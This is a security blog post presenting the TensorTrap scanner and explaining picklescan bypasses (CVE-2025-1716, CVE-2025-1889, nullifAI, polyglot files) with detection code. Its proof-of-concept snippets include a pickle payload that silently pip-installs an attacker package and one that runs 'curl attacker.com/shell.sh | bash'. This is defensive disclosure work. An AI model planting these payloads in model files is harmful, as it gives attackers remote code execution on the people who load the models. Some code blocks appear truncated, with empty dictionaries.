Detecting AI Model Security Scanner Bypasses: How TensorTrap Catches What Picklescan Misses

January 2026

The AI/ML community has a scanner bypass problem. In the past year, researchers have discovered multiple vulnerabilities in picklescan, the primary security tool protecting platforms like Hugging Face and CivitAI from malicious model files. These bypasses allow attackers to distribute malware through seemingly safe model files.

TensorTrap is an open-source security scanner designed to detect these bypass techniques. This post explains the technical details of two significant vulnerabilities, CVE-2025-1716 and CVE-2025-1889, and demonstrates how TensorTrap detects attacks that evade traditional scanning.

The Pickle Problem

Python's pickle module is the default serialization format for PyTorch models. When a pickle file is deserialized (loaded), it can execute arbitrary Python code through the __reduce__ method. This makes pickle inherently dangerous for untrusted data.

Platforms like Hugging Face address this risk with picklescan, which analyzes pickle files for dangerous imports (such as os.system, subprocess.Popen, or eval) without executing them. When picklescan detects these imports, it flags the model as unsafe.

The problem: picklescan operates on a blocklist. If attackers find callable functions that execute code but are not on the blocklist, they bypass detection entirely.

CVE-2025-1716: The pip.main() Bypass

The Vulnerability

CVE-2025-1716, disclosed in March 2025, exploits a gap in picklescan's dangerous imports list. The pip.main() function was not considered dangerous, even though it can install arbitrary packages from PyPI or GitHub.

How the Attack Works

import pickle
import pip

class MaliciousPayload:
    def __reduce__(self):
        return pip.main, (['install', 'git+https://github.com/attacker/malicious-package', 
                          '--quiet', '--quiet', '--quiet'],)

# Create malicious pickle
payload = pickle.dumps(MaliciousPayload())

# When loaded, this installs attacker's package silently
pickle.loads(payload)

The installed package then executes arbitrary code through setup.py, entry_points, or post-install hooks. The attack chain is:

  1. Victim downloads model from Hugging Face
  2. Picklescan scans the model and reports it as safe (pip.main not on blocklist)
  3. Victim loads the model with torch.load()
  4. Pickle deserializes and calls pip.main()
  5. Malicious package installs and executes attacker code

Why Picklescan Missed It

Picklescan maintained a list of dangerous modules and functions. The pip module, being a legitimate package manager, was not included. The fix (in picklescan 0.0.22) added pip to the unsafe globals list.

How TensorTrap Detects It

TensorTrap uses an expanded dangerous imports database that includes execution vectors beyond the standard blocklist:

DANGEROUS_IMPORTS = 

TensorTrap also performs semantic analysis to detect indirect execution patterns, catching variations that a simple string match would miss.

CVE-2025-1889: Extension-Based Detection Bypass

The Vulnerability

CVE-2025-1889, also disclosed in March 2025, exploits picklescan's reliance on file extensions to identify pickle files within archives.

PyTorch models (.pt, .pth, .bin) are ZIP archives containing pickle files, typically named data.pkl. Picklescan scans these standard pickle files but ignores files with non-standard extensions.

PyTorch's torch.load() function accepts a pickle_file parameter that specifies which file within the archive to deserialize. Attackers can embed a malicious pickle file with a non-standard extension (such as config.p or settings.dat) and reference it from the legitimate data.pkl.

How the Attack Works

import torch
import pickle
import zipfile
import io

# Create benign data.pkl that references malicious config.p
class BenignLoader:
    def __reduce__(self):
        return torch.load, ('model.pt', None, None, 'config.p')  # pickle_file parameter

# Create malicious config.p
class MaliciousPayload:
    def __reduce__(self):
        return os.system, ('curl attacker.com/shell.sh | bash',)

# Build the archive
with zipfile.ZipFile('model.pt', 'w') as zf:
    # Benign pickle that picklescan will scan
    zf.writestr('archive/data.pkl', pickle.dumps(BenignLoader()))
    # Malicious pickle that picklescan ignores
    zf.writestr('archive/config.p', pickle.dumps(MaliciousPayload()))

Picklescan scans data.pkl, finds no dangerous imports (just torch.load), and reports the model as safe. When loaded, data.pkl deserializes and calls torch.load() with the pickle_file='config.p' parameter, which then deserializes the malicious config.p.

How TensorTrap Detects It

TensorTrap implements content-based detection rather than extension-based detection:

  1. Magic byte analysis: Identifies pickle format by examining file headers (\x80\x05 for protocol 5) regardless of extension
  2. Recursive archive scanning: Scans all files within ZIP/7z archives, not just those with standard extensions
  3. Cross-reference detection: Identifies torch.load() calls that reference other files within the archive and scans those targets
def scan_archive(archive_path):
    findings = []
    
    with zipfile.ZipFile(archive_path) as zf:
        for entry in zf.namelist():
            data = zf.read(entry)
            
            # Check magic bytes, not extension
            if is_pickle_format(data):
                findings.extend(scan_pickle_bytes(data, entry))
            
            # Check for torch.load references to other files
            if has_torch_load_reference(data):
                target = extract_pickle_file_param(data)
                if target in zf.namelist():
                    findings.append(CrossReferenceWarning(entry, target))
    
    return findings

def is_pickle_format(data):
    # Pickle protocol markers
    pickle_markers = [
        b'\x80\x02',  # Protocol 2
        b'\x80\x03',  # Protocol 3
        b'\x80\x04',  # Protocol 4
        b'\x80\x05',  # Protocol 5
    ]
    return any(data.startswith(marker) for marker in pickle_markers)

The NullifAI Attack: Compression-Based Evasion

Beyond individual CVEs, the nullifAI attack (discovered by ReversingLabs in February 2025) demonstrated a more fundamental bypass: compression format manipulation.

How NullifAI Works

PyTorch models are typically ZIP-compressed pickle files. Picklescan expects this format and uses Python's zipfile module to extract and scan contents. The nullifAI attack used 7z compression instead:

  1. Attacker creates malicious pickle file with reverse shell payload
  2. Compresses with 7z instead of ZIP
  3. Uploads to Hugging Face
  4. Picklescan fails to parse as ZIP, skips scanning
  5. Some PyTorch loading paths still work with 7z
  6. Victim loads model, malware executes

Additionally, the researchers discovered that placing malicious code at the beginning of a "broken" pickle file causes execution before the scanner reaches the corruption point. Pickle deserialization is sequential. Opcodes execute as they are read, with no pre-validation of the entire stream.

How TensorTrap Detects It

TensorTrap implements multi-format archive detection:

def detect_archive_format(data):
    signatures = 
    
    for sig, fmt in signatures.items():
        if data.startswith(sig):
            return fmt
    return None

def scan_model_file(path):
    with open(path, 'rb') as f:
        data = f.read()
    
    fmt = detect_archive_format(data)
    
    if fmt == 'zip':
        return scan_zip_archive(data)
    elif fmt == '7z':
        return scan_7z_archive(data)  # Extract and scan contents
    elif is_pickle_format(data):
        return scan_pickle_bytes(data)
    else:
        # Check for format mismatch (polyglot detection)
        claimed_format = get_format_from_extension(path)
        if claimed_format != fmt:
            return [FormatMismatchWarning(claimed_format, fmt)]

TensorTrap also validates that file extensions match content:

Claimed Extension Detected Content TensorTrap Action
.pt (PyTorch) ZIP archive Normal scan
.pt (PyTorch) 7z archive Warning + deep scan
.safetensors Pickle data Critical alert
.png Pickle data Critical alert (polyglot)

Polyglot Detection

A polyglot file is valid in multiple formats simultaneously. For example, a file can be both a valid JPEG image and contain executable pickle data. Image viewers display the image; pickle loaders execute the code.

TensorTrap detects polyglots through:

  1. Magic byte validation: Compares file header against claimed format
  2. Multi-format parsing: Attempts to parse file as multiple formats
  3. Embedded archive detection: Scans for archive signatures within files
  4. Trailing data analysis: Identifies data appended after legitimate file structures
def check_polyglot(path, data):
    findings = []
    
    # Get claimed format from extension
    ext = Path(path).suffix.lower()
    claimed = EXTENSION_FORMATS.get(ext)
    
    # Detect actual format from magic bytes
    detected = detect_format_from_magic(data)
    
    if claimed and detected and claimed != detected:
        findings.append(Finding(
            severity='high',
            type='format_mismatch',
            description=f'Extension claims , content is '
        ))
    
    # Check for embedded archives
    for offset, archive_type in find_embedded_archives(data):
        if offset > 0:  # Archive not at start of file
            findings.append(Finding(
                severity='high',
                type='embedded_archive',
                description=f' archive embedded at offset '
            ))
    
    # Check for trailing pickle data
    if has_trailing_pickle(data):
        findings.append(Finding(
            severity='critical',
            type='polyglot_pickle',
            description='Pickle data appended after legitimate file content'
        ))
    
    return findings

Confidence Scoring

Unlike binary safe/unsafe verdicts, TensorTrap provides confidence scores that help operators make informed decisions:

Finding Severity Confidence
os.system import Critical 0.99
pip.main import Critical 0.95
Non-standard compression Medium 0.70
Extension/content mismatch High 0.85
Unusual pickle opcodes Low 0.50

This approach reduces false positives (legitimate code incorrectly flagged) while maintaining high detection rates for actual threats.

Detection Comparison

I tested TensorTrap against picklescan using samples that exploit each vulnerability:

Sample Technique Picklescan TensorTrap
pip_install.pkl CVE-2025-1716 Safe Critical
hidden_pickle.pt CVE-2025-1889 Safe Critical
7z_compressed.pt NullifAI Error Critical
broken_pickle.pt NullifAI (broken) Error Critical
jpg_polyglot.jpg Polyglot Not scanned High
benign_model.pkl None Safe Safe

Picklescan (version 0.0.21, before patches) missed all bypass techniques. TensorTrap detected each one.

Recommendations

For ML practitioners:

  1. Use safetensors when possible: The safetensors format does not support arbitrary code execution
  2. Scan models before loading: Never torch.load() untrusted models without scanning
  3. Verify scanner coverage: Ensure your scanner detects current bypass techniques
  4. Monitor for new bypasses: The cat-and-mouse game continues; stay informed

For platform operators:

  1. Layer multiple scanners: No single tool catches everything
  2. Implement content-based detection: Extension-based filtering is insufficient
  3. Scan all archive contents: Not just files with standard extensions
  4. Detect format mismatches: Flag files where extension does not match content

Conclusion

Security scanner bypasses are inevitable. Blocklist-based detection will always lag behind novel attack techniques. TensorTrap addresses this through:

  1. Expanded dangerous import coverage
  2. Content-based rather than extension-based detection
  3. Multi-format archive support
  4. Polyglot detection
  5. Confidence scoring to reduce false positives

The tool is open-source and available at github.com/realmarauder/TensorTrap.

If you operate a model hosting platform or work with untrusted ML models, I encourage you to evaluate TensorTrap as a complement to existing security tools. The threat landscape is evolving, and our defenses must evolve with it.


References

  1. CVE-2025-1716: GitHub Advisory GHSA-655q-fx9r-782v
  2. CVE-2025-1889: GitHub Advisory GHSA-769v-p64c-89pr
  3. NullifAI Attack: ReversingLabs Research
  4. Sonatype Picklescan Research: Four Vulnerabilities Discovered
  5. JFrog Picklescan Zero-Days: Three CVSS 9.3 Vulnerabilities
  6. ORNL Polyglot Research: Toward the Detection of Polyglot Files

Sean Michael is the developer of TensorTrap. Questions and feedback welcome at smichael@m2dynamics.us.

Share this post